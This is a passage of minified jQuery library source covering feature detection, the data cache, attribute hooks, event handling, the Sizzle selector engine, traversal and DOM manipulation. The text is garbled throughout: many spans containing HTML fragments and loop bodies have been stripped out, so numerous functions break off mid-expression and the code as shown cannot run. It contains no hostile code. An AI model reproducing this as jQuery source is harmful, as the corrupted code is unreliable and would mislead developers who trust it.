        ",q=a.getElementsByTagName("td"),u=q[0].offsetHeight===0,q[0].style.display="",q[1].style.display="none",k.reliableHiddenOffsets=u&&q[0].offsetHeight===0,a.innerHTML="",c.defaultView&&c.defaultView.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",a.appendChild(j),k.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0),o.innerHTML="",n.removeChild(o);if(a.attachEvent)for(t in{submit:1,change:1,focusin:1})s="on"+t,u=s in a,u||(a.setAttribute(s,"return;"),u=typeof a[s]=="function"),k[t+"Bubbles"]=u;o=l=g=h=m=j=a=i=null;return k}(),f.boxModel=f.support.boxModel;var i=/^(?:\{.*\}|\[.*\])$/,j=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i=f.expando,j=typeof c=="string",k=a.nodeType,l=k?f.cache:a,m=k?a[f.expando]:a[f.expando]&&f.expando;if((!m||e&&m&&l[m]&&!l[m][i])&&j&&d===b)return;m||(k?a[f.expando]=m=++f.uuid:m=f.expando),l[m]||(l[m]={},k||(l[m].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?l[m][i]=f.extend(l[m][i],c):l[m]=f.extend(l[m],c);g=l[m],e&&(g[i]||(g[i]={}),g=g[i]),d!==b&&(g[f.camelCase(c)]=d);if(c==="events"&&!g[c])return g[i]&&g[i].events;j?(h=g[c],h==null&&(h=g[f.camelCase(c)])):h=g;return h}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e=f.expando,g=a.nodeType,h=g?f.cache:a,i=g?a[f.expando]:f.expando;if(!h[i])return;if(b){d=c?h[i][e]:h[i];if(d){d[b]||(b=f.camelCase(b)),delete d[b];if(!l(d))return}}if(c){delete h[i][e];if(!l(h[i]))return}var j=h[i][e];f.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null,j?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=j):g&&(f.support.deleteExpando?delete a[f.expando]:a.removeAttribute?a.removeAttribute(f.expando):a[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a=="undefined"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c&&"get"in c&&(d=c.get(e,"value"))!==b)return d;d=e.value;return typeof d=="string"?d.replace(p,""):d==null?"":d}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type==="select-one";if(c<0)return null;for(var h=g?c:0,i=g?c+1:e.length;h=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e&&c in f.attrFn)return f(a)[c](d);if(!("getAttribute"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);j&&(c=f.attrFix[c]||c,i=f.attrHooks[c],i||(t.test(c)?i=v:u&&(i=u)));if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i&&"set"in i&&j&&(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,""+d);return d}if(i&&"get"in i&&j&&(h=i.get(a,c))!==null)return h;h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1&&(b=f.attrFix[b]||b,f.attr(a,b,""),a.removeAttribute(b),t.test(b)&&(c=f.propFix[b]||b)in a&&(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(u&&f.nodeName(a,"button"))return u.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(u&&f.nodeName(a,"button"))return u.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);i&&(c=f.propFix[c]||c,h=f.propHooks[c]);return d!==b?h&&"set"in h&&(g=h.set(a,d,c))!==b?g:a[c]=d:h&&"get"in h&&(g=h.get(a,c))!==null?g:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabIndex=f.propHooks.tabIndex,v={get:function(a,c){var d;return f.prop(a,c)===!0||(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},f.support.getSetAttribute||(u=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&d.nodeValue!==""?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})})),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var w=/\.(.*)$/,x=/^(?:textarea|input|select)$/i,y=/\./g,z=/ /g,A=/[^\w\s.|`]/g,B=function(a){return a.replace(A,"\\$&")};f.event={add:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){if(d===!1)d=C;else if(!d)return;var g,h;d.handler&&(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(" ");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(".")>-1?(n=l.split("."),l=n.shift(),h.namespace=n.slice(0).sort().join(".")):(n=[],h.namespace=""),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent&&a.attachEvent("on"+l,k)}p.add&&(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){d===!1&&(d=C);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)&&f._data(a),t=s&&s.events;if(!s||!t)return;c&&c.type&&(d=c.handler,c=c.type);if(!c||typeof c=="string"&&c.charAt(0)==="."){c=c||"";for(h in t)f.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+f.map(m.slice(0).sort(),B).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=t[h];if(!p)continue;if(!d){for(j=0;j=0&&(h=h.slice(0,-1),j=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if(!!e&&!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join("."),c.namespace_re=new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b&&b.events&&b.events[h]&&f.event.trigger(c,d,b.handle.elem)});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d!=null?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(":")<0?"on"+h:"";do{var m=f._data(k,"handle");c.currentTarget=k,m&&m.apply(k,d),l&&f.acceptData(k)&&k[l]&&k[l].apply(k,d)===!1&&(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument&&a}while(k&&!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)){try{l&&e[h]&&(n=e[l],n&&(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n&&(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,"events")||{})[c.type]||[]).slice(0),e=!c.exclusive&&!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h-1?f.map(a.options,function(a){return a.selected}).join("-"):"":f.nodeName(a,"select")&&(c=a.selectedIndex);return c},I=function(c){var d=c.target,e,g;if(!!x.test(d.nodeName)&&!d.readOnly){e=f._data(d,"_change_data"),g=H(d),(c.type!=="focusout"||d.type!=="radio")&&f._data(d,"_change_data",g);if(e===b||g===e)return;if(e!=null||g)c.type="change",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:I,beforedeactivate:I,click:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(c==="radio"||c==="checkbox"||f.nodeName(b,"select"))&&I.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(a.keyCode===13&&!f.nodeName(b,"textarea")||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")&&I.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,"_change_data",H(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in G)f.event.add(this,c+".specialChange",G[c]);return x.test(this.nodeName)},teardown:function(a){f.event.remove(this,".specialChange");return x.test(this.nodeName)}},G=f.event.special.change.filters,G.focus=G.beforeactivate}f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()&&a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.each(["bind","one"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a=="object"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c==="one"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a==="unload"&&c!=="one")this.one(a,d,e);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\/g,j=/\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(""),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length>1&&m.exec(b))if(x.length===2&&l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]&&(b+=x.shift()),j=v(b,j)}else{!g&&x.length>1&&d.nodeType===9&&!w&&l.match.ID.test(x[0])&&!l.match.ID.test(x[x.length-1])&&(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length>0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r="",s==null&&(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)==="[object Array]")if(!u)f.push.apply(f,n);else if(d&&d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]&&(n[t]===!0||n[t].nodeType===1&&k.contains(d,n[t]))&&f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]&&n[t].nodeType===1&&f.push(j[t]);else p(n,f);o&&(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!j.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,"")},TAG:function(a,b){return a[1].replace(i,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,"");!f&&l.attrMap[g]&&(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(i,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||k.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return"\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\[]*\])(?![^\(]*\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\r|\n)*?)/.source+l.match[o].source.replace(/\\(\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var f=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(l.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(l.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=k,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

        ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){k=function(b,e,f,g){e=e||c;if(!g&&!k.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]&&l.find.CLASS&&e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return p([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e,n=e.getAttribute("id"),o=n||d,q=e.parentNode,r=/^\s*[+~]/.test(b);n?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),r&&q&&(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(s){}finally{n||m.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
        ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;l.order.splice(1,0,"CLASS"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var v=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,"");a=l.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(h=g;h0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(d=0,e=a.length;d-1:f(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=S.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(U(c[0])||U(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=R.call(arguments);N.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!T[a]?f.unique(e):e,(this.length>1||P.test(d))&&O.test(a)&&(e=e.reverse());return this.pushStack(e,a,g.join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
        ","
        "],thead:[1,"","
        "],tr:[2,"","
        "],td:[3,"","
        "],col:[2,"","
        "],area:[1,"",""],_default:[0,"",""]};be.optgroup=be.option,be.tbody=be.tfoot=be.colgroup=be.caption=be.thead,be.th=be.td,f.support.htmlSerialize||(be._default=[1,"div
        ","
        "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!be[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d=a.cloneNode(!0),e,g,h;if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bh(a,d),e=bi(a),g=bi(d);for(h=0;e[h];++h)g[h]&&bh(e[h],g[h])}if(b){bg(a,d);if(c){e=bi(a),g=bi(d);for(h=0;e[h];++h)bg(e[h],g[h])}}e=g=null;return d},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var 